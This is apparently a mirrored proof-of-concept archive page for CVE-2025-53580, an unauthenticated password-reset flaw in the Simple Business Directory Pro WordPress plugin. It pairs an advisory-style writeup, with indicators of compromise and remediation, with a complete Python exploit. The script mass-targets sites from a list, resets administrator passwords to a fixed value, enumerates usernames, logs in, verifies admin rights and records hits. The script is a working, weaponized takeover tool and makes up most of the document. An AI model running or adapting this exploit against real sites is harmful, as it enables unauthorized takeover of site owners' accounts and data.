PoC Archive PoC Archive
Critical CVE-2025-53580 patched

Simple Business Directory Pro Unauthenticated Password Reset to Admin Takeover (CVE-2025-53580)

by Nxploited (Khaled Alenazi) · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-53580
Category
web
Affected product
quantumcloud "Simple Business Directory Pro" WordPress plugin (simple-business-directory-pro)
Affected versions
< 15.6.9 (fixed in 15.6.9)
Disclosed
2026-07-06
Patch status
patched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherNxploited (Khaled Alenazi)
CVE / AdvisoryCVE-2025-53580
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagswordpress, wordpress-plugin, simple-business-directory-pro, password-reset, privilege-escalation, incorrect-privilege-assignment, cwe-266, account-takeover, unauthenticated, python
RelatedN/A

Affected Target

FieldValue
Software / Systemquantumcloud “Simple Business Directory Pro” WordPress plugin (simple-business-directory-pro)
Versions Affected< 15.6.9 (fixed in 15.6.9)
Language / PlatformPython 3.8+ PoC (requests, colorama); targets PHP/WordPress sites running the vulnerable plugin
Authentication RequiredNo
Network Access RequiredYes (HTTP/HTTPS to the WordPress site)

Summary

The Simple Business Directory Pro plugin for WordPress exposes a front-end password-restore feature (qcpd-restore-pwd) that accepts a numeric WordPress user ID (qcpd-uid) and a new plaintext password (pass) via a simple POST request, without requiring any authentication, nonce, token, or email/OTP verification. Because of this incorrect privilege assignment (CWE-266), any unauthenticated visitor can reset the password of arbitrary WordPress accounts — including user ID 1, which is typically the original site administrator — and then log in directly with the attacker-chosen password to gain full administrative control of the site. The included PoC automates discovery of the vulnerable restore page, brute-forces the reset across low user IDs, enumerates candidate usernames through several techniques, logs in with the injected password, and independently verifies administrator privileges via both the REST API and the wp-admin dashboard before recording a confirmed hit.


Vulnerability Details

Root Cause

The plugin’s password-restore handler processes the following POST parameters without any authorization or possession-factor check:

qcpd-restore-pwd      = restore
qcpd-restore-pwd-type = user
qcpd-uid              = <numeric WordPress user ID>
pass                  = <new plaintext password>

There is no CSRF nonce, no email confirmation link, no rate limiting, and no verification that the requester owns or is otherwise entitled to control the targeted account. Submitting this request directly sets the target user’s password to the attacker-supplied value, effectively granting the requester the account owner’s privilege level (CWE-266: Incorrect Privilege Assignment) for any WordPress user ID they choose to target.

Attack Vector

  1. Probe a fixed list of 24 candidate front-end paths (/login, /my-account, /reset-password, /wp-login.php, etc.) on the target site looking for a response body containing the string sbd, identifying the page that hosts the vulnerable restore form.
  2. POST to that discovered URL with qcpd-restore-pwd=restore, qcpd-restore-pwd-type=user, and qcpd-uid iterated over low IDs (1–3 by default, configurable via MAX_USER_ID), setting pass to a fixed value (NxploitedNX) — no authentication or token required.
  3. Enumerate candidate usernames via the /?author=1..9 redirect/body-parsing technique, the /wp-json/wp/v2/users REST endpoint, a hostname-derived heuristic, and a hardcoded admin fallback.
  4. Attempt to log in at /wp-login.php using each candidate username with the injected password, checking for a wordpress_logged_in cookie to confirm success.
  5. For any successful login, independently confirm administrator privileges via GET /wp-json/wp/v2/users/me (checking capabilities.manage_options) and via GET /wp-admin/users.php/wp-admin/ dashboard markers.
  6. Record confirmed hits (target, username, injected password, and which verification method(s) confirmed admin) to an output file.

Impact

An unauthenticated remote attacker can take over the WordPress site administrator account (or any other account) on any site running the vulnerable plugin version, gaining full control of the CMS — enabling webshell upload via plugin/theme editors, further plugin installation, data exfiltration, or complete site takeover.


Environment / Lab Setup

Target:   WordPress site running quantumcloud Simple Business Directory Pro < 15.6.9
Attacker: Python 3.8+ with requests, urllib3, colorama (see requirements.txt referenced in repo README)

Proof of Concept

PoC Script

See CVE-2025-53580.py in this folder.

1
2
3
pip install requests urllib3 colorama

python3 CVE-2025-53580.py

list.txt format (one target per line):

https://TARGET1
TARGET2
http://TARGET3

The injected password is hardcoded to NxploitedNX and user IDs 1–3 are targeted by default (MAX_USER_ID). Confirmed admin/user hits are appended to Nx_sbd_login_hits.txt with timestamp, target, username, injected password, and verification detail.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected password-reset POST requests containing qcpd-restore-pwd / qcpd-uid parameters
  • Administrator or other user accounts whose passwords changed without a corresponding legitimate reset request/email
  • New/unrecognized admin logins immediately following such reset requests
  • Presence of unfamiliar plugins, themes, or files after such a login (post-takeover activity)

Remediation

ActionDetail
Primary fixUpgrade Simple Business Directory Pro to version 15.6.9 or later, which fixes the incorrect privilege assignment in the password-restore handler
Interim mitigationDisable or remove the front-end password-restore feature until patched; add a WAF rule blocking unauthenticated POSTs containing qcpd-restore-pwd/qcpd-uid; force a password reset for all WordPress accounts and audit for unauthorized admin users

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2025-53580 on 2026-07-06. This is a templated Nxploited-style release (branded banner, fixed Telegram/GitHub author signature, hardcoded injected password NxploitedNX), but the exploit logic itself is a complete, functional end-to-end chain (discovery, reset, username enumeration, login, dual-method admin verification, results logging).

CVE-2025-53580.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
#!/usr/bin/env python3
# By: Nxploited

import os
import sys
import time
import random
from datetime import datetime
from typing import List, Set, Tuple, Optional, Dict
from urllib.parse import urlparse

import requests
import re
import json as _json

try:
    from colorama import Fore, Style, init as colorama_init
    colorama_init(autoreset=True)
except Exception:
    class _D:
        RESET = ""
        RED = ""
        GREEN = ""
        YELLOW = ""
        CYAN = ""
        MAGENTA = ""
        BLUE = ""
        WHITE = ""
        BRIGHT = ""
    Fore = _D()
    Style = _D()

requests.packages.urllib3.disable_warnings()

TERM_WIDTH = 80
RESULT_FILE = "Nx_sbd_login_hits.txt"

NEW_PASS = "NxploitedNX"
MAX_USER_ID = 3

BASE_HEADERS = {
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.9",
    "Cache-Control": "no-cache",
    "Pragma": "no-cache",
    "Upgrade-Insecure-Requests": "1",
    "DNT": "1",
}

UA_POOL = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5) AppleWebKit/605.1.15 "
    "(KHTML, like Gecko) Version/17.0 Safari/605.1.15",
    "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/121.0.0.0 Mobile Safari/537.36",
]

CANDIDATE_RESTORE_PATHS = [
    "/login",
    "/log-in",
    "/signin",
    "/sign-in",
    "/user-login",
    "/account/login",
    "/account/log-in",
    "/restore",
    "/password-reset",
    "/reset-password",
    "/lost-password",
    "/lostpassword",
    "/user/restore",
    "/my-account",
    "/members/login",
    "/member-login",
    "/customer-login",
    "/wp-login.php",
    "/blog/login",
    "/blog/log-in",
    "/auth/login",
    "/auth/restore",
    "/sbd-login",
    "/sbd-restore",
]

AUTHOR_PATTERN = re.compile(r"/author/([^/]+)")
AUTHOR_BODY_PATTERNS = [
    re.compile(r'author-\w+">([a-z0-9_-]+)<', re.IGNORECASE),
    re.compile(r"/author/([a-z0-9_-]+)/", re.IGNORECASE),
    re.compile(r'"slug":"([a-z0-9_-]+)"', re.IGNORECASE),
    re.compile(r'"username":"([a-z0-9_-]+)"', re.IGNORECASE),
]

def center(text: str, width: int = TERM_WIDTH) -> str:
    text = text.rstrip("\n")
    length = len(text)
    if length >= width:
        return text
    pad = (width - length) // 2
    return " " * pad + text

def print_banner() -> None:
    os.system("cls" if os.name == "nt" else "clear")
    banner = [
        "   ___  _        ___     __  __  __  ____     ____ ___  ____ __   __  ",
        "  / (_)(_|   |_// (_)   /  )/  \\/  )|        |    /   \\|    /  \\ /  \\ ",
        " |       |   |  \\__       /|    | / |___     |___   __/|___ \\__/|    |",
        " |       |   |  /   -----/ |    |/      \\-----   \\    \\    \\/  \\|    |",
        "  \\___/   \\_/   \\___/   /___\\__//___\\___/    \\___/\\___/\\___/\\__/ \\__/ ",
    ]
    for line in banner:
        print(Fore.CYAN + Style.BRIGHT + center(line) + Style.RESET_ALL)
    print(Fore.MAGENTA + center("Exploit for | CVE-2025-53580", TERM_WIDTH) + Style.RESET_ALL)
    print(Fore.WHITE + center("Nxploited ( Khaled ALenazi )", TERM_WIDTH) + Style.RESET_ALL)
    print(Fore.WHITE + center("Telegram: @Kxploit  |  GitHub: github.com/Nxploited", TERM_WIDTH) + Style.RESET_ALL)
    print()
    print(Fore.YELLOW + center("Use strictly in environments where you have explicit authorization.", TERM_WIDTH) + Style.RESET_ALL)
    print()

def log_line(level: str, color: str, msg: str) -> None:
    print(f"{color}[{level.upper()}]{Style.RESET_ALL} {msg}")

def log_info(msg: str) -> None:
    log_line("info", Fore.BLUE, msg)

def log_warn(msg: str) -> None:
    log_line("warn", Fore.YELLOW, msg)

def log_err(msg: str) -> None:
    log_line("err ", Fore.RED, msg)

def log_ok(msg: str) -> None:
    log_line("ok  ", Fore.GREEN, msg)

def get_random_user_agent() -> str:
    return random.choice(UA_POOL)

def build_headers(referer: Optional[str] = None) -> dict:
    h = dict(BASE_HEADERS)
    h["User-Agent"] = get_random_user_agent()
    if referer:
        h["Referer"] = referer
    return h

def normalize_url(url: str) -> str:
    url = url.strip()
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    p = urlparse(url)
    return f"{p.scheme}://{p.netloc}"

def new_session(timeout: int) -> requests.Session:
    s = requests.Session()
    s.verify = False
    s.timeout = timeout
    s.headers.update(build_headers())
    adapter = requests.adapters.HTTPAdapter(pool_connections=20, pool_maxsize=20, max_retries=1)
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    return s

def enum_from_author_param(url: str, timeout: int, delay: float = 0.0) -> Set[str]:
    users: Set[str] = set()
    for i in range(1, 10):
        try:
            author_url = f"{url}/?author={i}"
            headers = build_headers(author_url)
            resp = requests.get(author_url, allow_redirects=False, timeout=timeout, verify=False, headers=headers)
            if resp.status_code in (301, 302) and "location" in resp.headers:
                location = resp.headers["location"]
                m = AUTHOR_PATTERN.search(location)
                if m:
                    users.add(m.group(1))
            if delay > 0:
                time.sleep(delay)
            resp2 = requests.get(author_url, timeout=timeout, verify=False, headers=build_headers(author_url))
            if resp2.status_code == 200:
                body = resp2.text
                for pat in AUTHOR_BODY_PATTERNS:
                    for u in pat.findall(body):
                        users.add(u)
            if delay > 0:
                time.sleep(delay)
        except requests.RequestException:
            continue
    return users

def enum_from_rest_api(url: str, timeout: int, delay: float = 0.0) -> Set[str]:
    users: Set[str] = set()
    try:
        api_url = f"{url}/wp-json/wp/v2/users"
        headers = build_headers(api_url)
        resp = requests.get(api_url, timeout=timeout, verify=False, headers=headers)
        if resp.status_code == 200:
            try:
                data = resp.json()
                if isinstance(data, list):
                    for user in data:
                        if isinstance(user, dict):
                            if "slug" in user:
                                users.add(str(user["slug"]))
                            if "username" in user:
                                users.add(str(user["username"]))
            except ValueError:
                pass
    except requests.RequestException:
        pass
    if delay > 0:
        time.sleep(delay)
    return users

def enumerate_usernames(url: str, timeout: int, delay: float = 0.0) -> Set[str]:
    users: Set[str] = set()
    users.update(enum_from_author_param(url, timeout, delay))
    users.update(enum_from_rest_api(url, timeout, delay))
    users.add("admin")
    try:
        host = urlparse(url).netloc.split(":")[0]
        domain_part = host.split(".")[0]
        if domain_part and len(domain_part) > 2:
            users.add(domain_part)
    except Exception:
        pass
    return users

def find_restore_url_with_sbd(
    session: requests.Session,
    base: str,
    timeout: int,
) -> Optional[str]:
    for path in CANDIDATE_RESTORE_PATHS:
        url = base.rstrip("/") + path
        try:
            r = session.get(url, timeout=timeout, verify=False, headers=build_headers(url))
        except Exception:
            continue
        if r.status_code != 200:
            continue
        body = (r.text or "").lower()
        if "sbd" in body:
            log_ok(f"{base} :: found front-end sbd page at {url}")
            return r.url
    log_warn(f"{base} :: no sbd page found in candidate restore paths")
    return None

def try_sbd_restore_for_user_ids(
    session: requests.Session,
    restore_url: str,
    max_user_id: int,
    timeout: int,
) -> None:
    root = restore_url
    log_info(f"{restore_url} :: starting qcpd-uid=1..{max_user_id} brute with pass={NEW_PASS}")
    for uid in range(1, max_user_id + 1):
        data = {
            "qcpd-restore-pwd": "restore",
            "qcpd-restore-pwd-type": "user",
            "qcpd-uid": str(uid),
            "pass": NEW_PASS,
        }
        headers = build_headers(restore_url)
        headers["Content-Type"] = "application/x-www-form-urlencoded"
        try:
            r = session.post(root, data=data, headers=headers, timeout=timeout, verify=False, allow_redirects=False)
        except Exception as e:
            log_warn(f"{restore_url} :: POST uid={uid} failed: {e}")
            continue
        loc = r.headers.get("Location", "")
        log_info(f"{restore_url} :: POST uid={uid} → status={r.status_code}, Location={loc or 'none'}")

def try_login_with_password(
    base: str,
    username: str,
    password: str,
    timeout: int
) -> Tuple[bool, requests.Session, str]:
    root = base.rstrip("/")
    s = new_session(timeout)
    login_url = f"{root}/wp-login.php"
    data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "testcookie": "1",
    }
    headers = build_headers(login_url)
    headers["Content-Type"] = "application/x-www-form-urlencoded"
    headers["Cookie"] = "wordpress_test_cookie=WP+Cookie+check"
    try:
        r = s.post(login_url, data=data, headers=headers, timeout=timeout, verify=False, allow_redirects=True)
    except Exception as e:
        return False, s, f"login_error:{e}"
    logged_in = any(c.name.startswith("wordpress_logged_in") for c in s.cookies)
    if not logged_in:
        sc = r.headers.get("Set-Cookie", "")
        if "wordpress_logged_in" in sc:
            logged_in = True
    if not logged_in:
        return False, s, "login_failed_or_not_logged_in"
    return True, s, "login_ok"

def check_admin_via_rest(session: requests.Session, base: str, timeout: int) -> Tuple[bool, str]:
    rest_url = f"{base}/wp-json/wp/v2/users/me"
    headers = build_headers(rest_url)
    try:
        r = session.get(rest_url, timeout=timeout, verify=False, headers=headers)
    except Exception as e:
        return False, f"rest_error:{e}"
    if r.status_code != 200:
        return False, f"rest_status:{r.status_code}"
    try:
        j = r.json()
    except Exception:
        return False, "rest_invalid_json"
    caps = j.get("capabilities") or {}
    if isinstance(caps, dict) and caps.get("manage_options"):
        return True, "ADMIN_CONFIRMED_REST(manage_options)"
    return False, "rest_no_manage_options"

def verify_admin_dashboard(session: requests.Session, base: str, timeout: int) -> Tuple[bool, str]:
    root = base.rstrip("/")
    admin_urls = [
        f"{root}/wp-admin/users.php",
        f"{root}/wp-admin/index.php",
        f"{root}/wp-admin/",
    ]
    global_markers = [
        "wp-admin-bar",
        "adminmenu",
        "manage_options",
        "update-core.php",
        "options-general.php",
    ]
    users_markers = [
        "users.php",
        'class="username"',
        'table class="wp-list-table',
    ]
    for u in admin_urls:
        headers = build_headers(u)
        try:
            r = session.get(u, timeout=timeout, verify=False, headers=headers, allow_redirects=False)
        except Exception:
            continue
        if r.status_code == 200:
            body = (r.text or "").lower()
            if any(m in body for m in global_markers):
                if "users.php" in u or any(m in body for m in users_markers):
                    return True, f"ADMIN_CONFIRMED_WPADMIN({u})"
        elif r.status_code in (301, 302):
            loc = r.headers.get("Location", "") or r.headers.get("location", "")
            if "wp-login.php" in loc:
                return False, "wpadmin_redirect_login"
    return False, "wpadmin_no_strong_markers"

def write_hit(
    base: str,
    username: str,
    is_admin: bool,
    detail: str,
    out_file: str = RESULT_FILE
) -> None:
    ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    admin_flag = "ADMIN" if is_admin else "USER"
    line = (
        f"[{ts}] {base} - type={admin_flag} - user={username} "
        f"- login=/wp-login.php user={username} pass={NEW_PASS} - detail={detail}\n"
    )
    if "/" in out_file:
        os.makedirs(os.path.dirname(out_file), exist_ok=True)
    with open(out_file, "a", encoding="utf-8") as f:
        f.write(line)

def handle_site(
    site: str,
    timeout: int,
) -> None:
    base = normalize_url(site)
    label = base
    log_info(f"{label} :: starting")

    sess = new_session(timeout)
    restore_url = find_restore_url_with_sbd(sess, base, timeout)
    if not restore_url:
        log_warn(f"{label} :: no restore/login page with 'sbd' found, skipping target")
        return

    try_sbd_restore_for_user_ids(sess, restore_url, MAX_USER_ID, timeout)

    log_info(f"{label} :: extracting usernames and trying login with fixed password {NEW_PASS!r}")
    try:
        users = enumerate_usernames(base, timeout, delay=0.0)
    except Exception as e:
        log_warn(f"{label} :: username enumeration failed: {e}")
        users = set()

    if not users:
        log_warn(f"{label} :: no usernames discovered, fallback on admin only")
        users = {"admin"}

    for user in sorted(users):
        log_info(f"{label} :: trying login for one candidate user with fixed password")
        ok, s_login, detail_login = try_login_with_password(base, user, NEW_PASS, timeout)
        if not ok:
            log_warn(f"{label} :: login failed for user='{user}': {detail_login}")
            continue

        log_ok(f"{label} :: login OK for user='{user}', checking admin...")
        rest_ok, rest_detail = check_admin_via_rest(s_login, base, timeout)
        is_admin = False
        detail = detail_login

        if rest_ok:
            is_admin = True
            detail = rest_detail
        else:
            wp_ok, wp_detail = verify_admin_dashboard(s_login, base, timeout)
            if wp_ok:
                is_admin = True
                detail = wp_detail
            else:
                detail = f"not_admin({rest_detail}, {wp_detail})"

        write_hit(base, user, is_admin, detail)
        log_ok(f"{label} :: HIT for user='{user}' → admin={is_admin}, detail={detail}")
        return

    log_info(f"{label} :: done, no successful login found using {NEW_PASS!r}")

def ask(prompt: str, default: str = "") -> str:
    if default:
        s = input(f"{Fore.CYAN}{prompt}{Style.RESET_ALL} [{default}]: ").strip()
        return s if s else default
    return input(f"{Fore.CYAN}{prompt}{Style.RESET_ALL}: ").strip()

def ask_int(prompt: str, default: int) -> int:
    s = ask(prompt, str(default))
    try:
        return int(s)
    except Exception:
        return default

def run() -> None:
    print_banner()
    tfile = ask("Targets list file (one host/URL per line)", "list.txt")
    if not os.path.exists(tfile):
        log_err(f"Targets file not found: {tfile}")
        sys.exit(1)

    threads = ask_int("Threads (concurrent sites)", 3)
    timeout = ask_int("HTTP timeout (seconds)", 10)

    out_file = ask("Successful hits file", RESULT_FILE)

    targets: List[str] = []
    with open(tfile, "r", encoding="utf-8", errors="ignore") as f:
        for line in f:
            line = line.strip()
            if line:
                targets.append(line)

    if not targets:
        log_err("Targets file is empty.")
        sys.exit(1)

    log_info(f"Loaded {len(targets)} targets.")
    start = time.time()

    from concurrent.futures import ThreadPoolExecutor, as_completed
    with ThreadPoolExecutor(max_workers=threads) as ex:
        futures = []
        for site in targets:
            fut = ex.submit(handle_site, site, timeout)
            futures.append(fut)
        try:
            for _ in as_completed(futures):
                pass
        except KeyboardInterrupt:
            log_warn("Interrupted by user, shutting down threads...")
            ex.shutdown(wait=False, cancel_futures=True)
            sys.exit(1)

    elapsed = time.time() - start
    log_ok(f"Finished in {elapsed:.2f}s")
    log_ok(f"Confirmed hits written to: {out_file}")

if __name__ == "__main__":
    run()